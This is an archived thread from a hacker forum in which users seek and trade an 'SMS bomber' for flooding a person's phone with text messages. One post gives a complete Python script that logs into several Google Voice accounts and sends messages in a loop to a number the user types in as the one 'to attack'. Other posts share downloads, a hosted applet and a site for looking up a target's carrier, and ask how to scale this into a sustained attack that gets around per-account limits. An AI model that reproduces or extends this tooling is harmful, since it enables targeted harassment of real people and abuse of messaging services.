greetings, fellow internet!

welcome to digitalgangster.com, the coolest community for people who hack the gibson and make bajillions of dollars off of online marketing. this version of the forum is in view only mode for archival purposes. the new forum can be found here.

ASGPHE,
ytcracker, original digital gangster
follow me on twitter
fan me on facebook
Results 1 to 40 of 40

Thread: I need to cop that SMS Bomber

  1. #1

    Default I need to cop that SMS Bomber

    there used to be this program floating around that let you load up someones phone number and it would blast the fuck out of it with messages VIA webmail... does this still exist? anyone have it?

  2. #2
    obscene rhymes with green obscene's Avatar
    Join Date
    Oct 2007
    Posts
    4,367

    Default

    the only one i know of is 'beavers sms bomber' uses gmail to send via sms gateways, google beavers sms bomber should be able to find it pretty easily

  3. #3

    Join Date
    Nov 2009
    Location
    St. Tropez
    Posts
    7,397

    Default

    If you search old threads I bet you can find a working script

  4. #4

  5. #5

    Join Date
    Mar 2009
    Location
    European Union
    Posts
    7,820

    Default

    I have a copy of MoneyBlinds SMS bomber, a year old IDK if still works but give it a shot.

    http://linkthisfile.com/x/files/get/...ndom-progz.zip
    The file also includes a hacking program made by a DG while ago

  6. #6

    Join Date
    Mar 2009
    Location
    European Union
    Posts
    7,820

    Default

    Just tested with tmobile, still works. You will need a gmail account.




    The problem is you will need to manually rotate gmail accounts as it will only allow you to send 250 per account per day. Still annoying as fuck, just sent myself 50 and my phone keeps ringing D:

    I know the latest Beaver SMS bomber had multi national carrier support with account rotators, but every copy I found was infected.

  7. #7

  8. #8

  9. #9

    Default

    that shit is nothing compared to whats out their. you want one that send out sms and calls from different providers so the phone never stops ringing or vibrating

  10. #10

    Default

    Quote Originally Posted by datniggachay View Post
    that shit is nothing compared to whats out their. you want one that send out sms and calls from different providers so the phone never stops ringing or vibrating
    i appreciate your input - oh wait nevermind you spelled there as their and you didn't provide any useful info.

  11. #11

  12. #12
    straight class, bitch. reefer's Avatar
    Join Date
    Jun 2010
    Posts
    3,333

    Default

    Quote Originally Posted by Shamwow Vince View Post
    now the only problem is trying to figure out the targets carrier
    http://tnid.us/

  13. #13

    Default

    lol what a useless program, and I'm sorry we don't file archive our fire

  14. #14
    d0n601's Avatar
    Join Date
    Nov 2009
    Location
    california, 805
    Posts
    886

    Default

    Here is a python script I wrote about a year ago for this kinda thing. It uses Google Voice accounts. Just make a couple accounts and stick them in the array, then you don't have to worry about the carrier like you would using an email blaster on a phone.

    import getpass

    import os

    import re

    import sys

    import urllib

    import urllib2
    import time



    class GoogleVoiceLogin:

    def __init__(self, email, password):

    self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor() )

    urllib2.install_opener(self.opener)

    self.loing_page_url = 'https://www.google.com/accounts/ServiceLogin'

    self.authenticate_url = 'https://www.google.com/accounts/ServiceLoginAuth'

    self.gv_home_page_url = 'https://www.google.com/voice/#inbox'

    login_page_contents = self.opener.open(self.loing_page_url).read()

    galx_match_obj = re.search(r'name="GALX"\s*value="([^"]+)"', login_page_contents, re.IGNORECASE)

    galx_value = galx_match_obj.group(1) if galx_match_obj.group(1) is not None else ''

    login_params = urllib.urlencode( {

    'Email' : email,

    'Passwd' : password,

    'continue' : 'https://www.google.com/voice/account/signin',

    'GALX': galx_value

    })

    self.opener.open(self.authenticate_url, login_params)

    gv_home_page_contents = self.opener.open(self.gv_home_page_url).read()

    key = re.search('name="_rnr_se".*?value="(.*?)"', gv_home_page_contents)

    if not key:

    self.logged_in = False

    else:

    self.logged_in = True

    self.key = key.group(1)





    class TextSender():

    def __init__(self, opener, key):

    self.opener = opener

    self.key = key

    self.sms_url = 'https://www.google.com/voice/sms/send/'

    self.text = ''



    def send_text(self, phone_number):

    sms_params = urllib.urlencode({

    '_rnr_se': self.key,

    'phoneNumber': phone_number,

    'text': self.text

    })

    self.response = self.opener.open(self.sms_url, sms_params).read()




    def separator():

    return '-' * 25


    def clear_screen():

    if os.name == "posix":

    os.system('clear')

    elif os.name in ("nt", "dos", "ce"):

    os.system('CLS')

    def main():


    ################################################## ################################################## #########
    ### YOU MAY ADD MORE ACCOUNTS, THERE IS NO LIMIT


    ID = ['ACCOUNT1@gmail.com', 'ACCOUNT2@GMAIL.COM'] ############### REPLACE "AccountX, with 'example@gmail.com'
    PASSWORD = ['PASSWORD1', 'PASSOWRD2'] ######### Set password for corresponding accounts above.

    ################################################## ################################################## #########

    count = 0
    total_bomb=0

    clear_screen()
    print "================ ================"
    print''
    number = raw_input("Enter a phone number to attack, please include area code: ")
    clear_screen()
    text = raw_input("Enter text message. Press enter when finished: ")
    clear_screen()
    print'Enter the number of SMS bombs, make sure the number is divisible by the number of accounts used. Otherwise it will be 1 message short.'
    print''
    blast = raw_input("Because you cant send a fraction of an SMS: ")
    clear_screen()
    print'Loading...'
    blast = int(blast)

    start = time.time()

    while(count<len(ID)):


    gv = GoogleVoiceLogin(ID[count], PASSWORD[count])

    if not gv.logged_in:
    clear_screen()

    print 'login error on: ' ,ID[count]

    sys.exit(1)
    clear_screen()

    print 'Successful login as: ',ID[count]
    print ''

    text_sender = TextSender(gv.opener, gv.key)

    text_sender.text = text

    print ""

    bomb_count=0
    while(bomb_count < (int(blast)/len(ID))):

    text_sender.send_text(number)
    bomb_count += 1
    total_bomb+=1
    clear_screen()
    print"================ Work'in ================"
    print''
    print'Currently logged in as: ', ID[count]
    print 'Sending ', total_bomb, 'of ',blast

    count+=1
    print''
    print separator()

    print'Attack Lasted', time.time() - start, 'seconds.'
    print''
    print''





    if __name__ == "__main__":

    main()

  15. #15
    lxuke's Avatar
    Join Date
    Jul 2009
    Location
    Imagination
    Posts
    2,744

    Default

    Quote Originally Posted by d0n601 View Post
    Here is a python script I wrote about a year ago for this kinda thing. It uses Google Voice accounts. Just make a couple accounts and stick them in the array, then you don't have to worry about the carrier like you would using an email blaster on a phone.
    you wrote this a year ago you say, gvoice has probably updated since then, does this still work?>
    ~

  16. #16
    d0n601's Avatar
    Join Date
    Nov 2009
    Location
    california, 805
    Posts
    886

    Default

    Quote Originally Posted by lxuke View Post
    you wrote this a year ago you say, gvoice has probably updated since then, does this still work?>
    I just tried and no, no it doesn't, it looks like the login function was broken this September on the API I was using.

    I wrote a Java version that still works, it only uses one account but I can change that if anyone actually wants to use an array. I just figured I'd post the python one cause people aren't usually stoked on running compiled shit from strangers. Since that is broken though, here is the .jar of my java version. If anyone cares I can post the source of this too.

    http://www.megaupload.com/?d=XJE6241E

  17. #17
    d0n601's Avatar
    Join Date
    Nov 2009
    Location
    california, 805
    Posts
    886

    Default

    one I posted above only sent 21 when I tried to send 30, i added a pause in the send loop so that seems to have fixed it

    http://www.megaupload.com/?d=HDUEYLGW




  18. #18

    Default

    Thanks for the revised bot, have you stress tested to see how many messages this can send per IP/google account before it needs switching up?

  19. #19
    d0n601's Avatar
    Join Date
    Nov 2009
    Location
    california, 805
    Posts
    886

    Default

    Quote Originally Posted by foxhound87 View Post
    Thanks for the revised bot, have you stress tested to see how many messages this can send per IP/google account before it needs switching up?
    I've sent 200 before with success but I've never actually tested it beyond that. from what I've heard 300(ish) is about the send limit per account per day. I'll have a site up with an applet to do this very soon, I'm just dealing with some bullshit with my domain right now.

  20. #20
    d0n601's Avatar
    Join Date
    Nov 2009
    Location
    california, 805
    Posts
    886

    Default

    http://gvbomb.com/

    there we go

  21. #21
    420p's Avatar
    Join Date
    May 2009
    Location
    ny
    Posts
    7,357

    Default

    heh u kidz!

    Cowards die many times before their actual deaths.

  22. #22

    Join Date
    Oct 2010
    Location
    Louisville
    Posts
    2,207

    Default

    Someone is hitting the mobile spam hard, my girlfriend's mom and friends all fell for one.

  23. #23

    Default

    Quote Originally Posted by d0n601 View Post
    http://gvbomb.com/

    there we go
    JDB?
    also for those that trust the hands of virustotal.com..a virus today can be "not" a virus tomorrow.

  24. #24

    Default

    Quote Originally Posted by oDb View Post
    JDB?
    maybe. shits been going around like hotcakes lately, just run it sandboxed and change your gv pass after

    also i don't think it's working, at least not for me.

  25. #25
    d0n601's Avatar
    Join Date
    Nov 2009
    Location
    california, 805
    Posts
    886

    Default

    It's working, the friends I've shared the site with promptly used it on me almost right away. It's just a basic applet with a loop calling the send SMS method from this API

    http://code.google.com/p/google-voice-java/

  26. #26

  27. #27

    Default

    ok so it seems like it can be a minor annoyance - next step is scaling this to all out nusiance. can steps be taken to take this furthur for some sort of a more sustained attack?

  28. #28

    Default

    can you allow pasting in the forms so that switching up my accounts will be easier, or allow a dropdown list?

  29. #29
    d0n601's Avatar
    Join Date
    Nov 2009
    Location
    california, 805
    Posts
    886

    Default

    I kinda started making this for the fuck of it after I saw this thread, so its not a planned project that I can really devote a whole bunch of time to, but i'll be updating it and making it better as I can.

    I plan on making it so you can use multiple accounts, gv and gmail. I'll throw up a download link to a stand alone program too. I'll probly be doing that majority of the updates on the stand alone first and then adding them to the applet later as its easier to test new shit that way. I'll post here or start a little thread of my own when I have the time to make it a little bit fancier.

  30. #30

    Default

    Quote Originally Posted by d0n601 View Post
    I kinda started making this for the fuck of it after I saw this thread, so its not a planned project that I can really devote a whole bunch of time to, but i'll be updating it and making it better as I can.

    I plan on making it so you can use multiple accounts, gv and gmail. I'll throw up a download link to a stand alone program too. I'll probly be doing that majority of the updates on the stand alone first and then adding them to the applet later as its easier to test new shit that way. I'll post here or start a little thread of my own when I have the time to make it a little bit fancier.
    So, this shit never worked for me. Is it because it was a java driveby? I've tried it with like three different carriers, I know some carriers block text by SMTP unless it's on their whitelist..

  31. #31
    d0n601's Avatar
    Join Date
    Nov 2009
    Location
    california, 805
    Posts
    886

    Default

    Quote Originally Posted by foxhound87 View Post
    So, this shit never worked for me. Is it because it was a java driveby? I've tried it with like three different carriers, I know some carriers block text by SMTP unless it's on their whitelist..
    Not a driveby.

    Run your java console and post the output from the applet, it's way easier to troubleshoot if you have info beyond "it's not working". Also, it sounds obvious, but make sure you have a google voice account, you cant just use random gmail accounts and shit. The issue isn't with the recipients, I'm 99% sure it's with your JRE.


    example of my console when I run the applet
    https://www.google.com/accounts/ClientLogin - OK
    Logged in to Google - Auth token received
    https://www.google.com/voice/ - Moved Temporarily
    https://www.google.com/voice/ - 302 - new URL: https://www.google.com/voice/b/0/
    https://www.google.com/voice/b/0/ - OK
    Successfully Received rnr_se.
    https://www.google.com/accounts/ClientLogin - OK
    Logged in to Google - Auth token received

  32. #32

    Default

    can you post the class, or recompile the prog, because megaupload is down ya know
    Posting from: Your AP>Attrib /s /d +h +s ME
    All I got is my balls, my words, computer skills & Internet Marketing Black Hat strategies

    WHERE or HAVING clause' injectable


  33. #33

    Default

    Quote Originally Posted by EXEcuter View Post
    megaupload is down



  34. #34

    Default

    <html>
    <title>NOTICE</title>
    <body>
    <img src="megaupload.com/banner.jpg"/>
    </body>
    </html>
    Posting from: Your AP>Attrib /s /d +h +s ME
    All I got is my balls, my words, computer skills & Internet Marketing Black Hat strategies

    WHERE or HAVING clause' injectable


  35. #35

  36. #36

    Default

    Quote Originally Posted by d0n601 View Post
    Run your java console and post the output from the applet, it's way easier to troubleshoot if you have info beyond "it's not working".
    Java Plug-in 10.2.0.13
    Using JRE version 1.7.0_02-b13 Java HotSpot(TM) Client VM

    https://www.google.com/accounts/ClientLogin - OK
    Logged in to Google - Auth token received
    https://www.google.com/voice/ - OK
    Successfully Received rnr_se.
    https://www.google.com/accounts/ClientLogin - OK
    Logged in to Google - Auth token received


    Looks like it logged in okay, so I'm assuming the GV Login syntax is username@gmail.com ? I received the "Welcome to Google Voice" message in my gmail with an assigned number.

  37. #37

    Default

    Quote Originally Posted by d0n601 View Post
    is there a way we can add multiple phone numbers and multiple gv accounts ?
    Posting from: Your AP>Attrib /s /d +h +s ME
    All I got is my balls, my words, computer skills & Internet Marketing Black Hat strategies

    WHERE or HAVING clause' injectable


  38. #38
    d0n601's Avatar
    Join Date
    Nov 2009
    Location
    california, 805
    Posts
    886

    Default

    Quote Originally Posted by EXEcuter View Post
    is there a way we can add multiple phone numbers and multiple gv accounts ?
    There can be as soon as I'm done with my physics homework. Will post later

  39. #39

    Default

    Quote Originally Posted by d0n601 View Post
    There can be as soon as I'm done with my physics homework. Will post later
    alright thanks..
    Posting from: Your AP>Attrib /s /d +h +s ME
    All I got is my balls, my words, computer skills & Internet Marketing Black Hat strategies

    WHERE or HAVING clause' injectable


  40. #40

    Default

    anything else on this?



Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •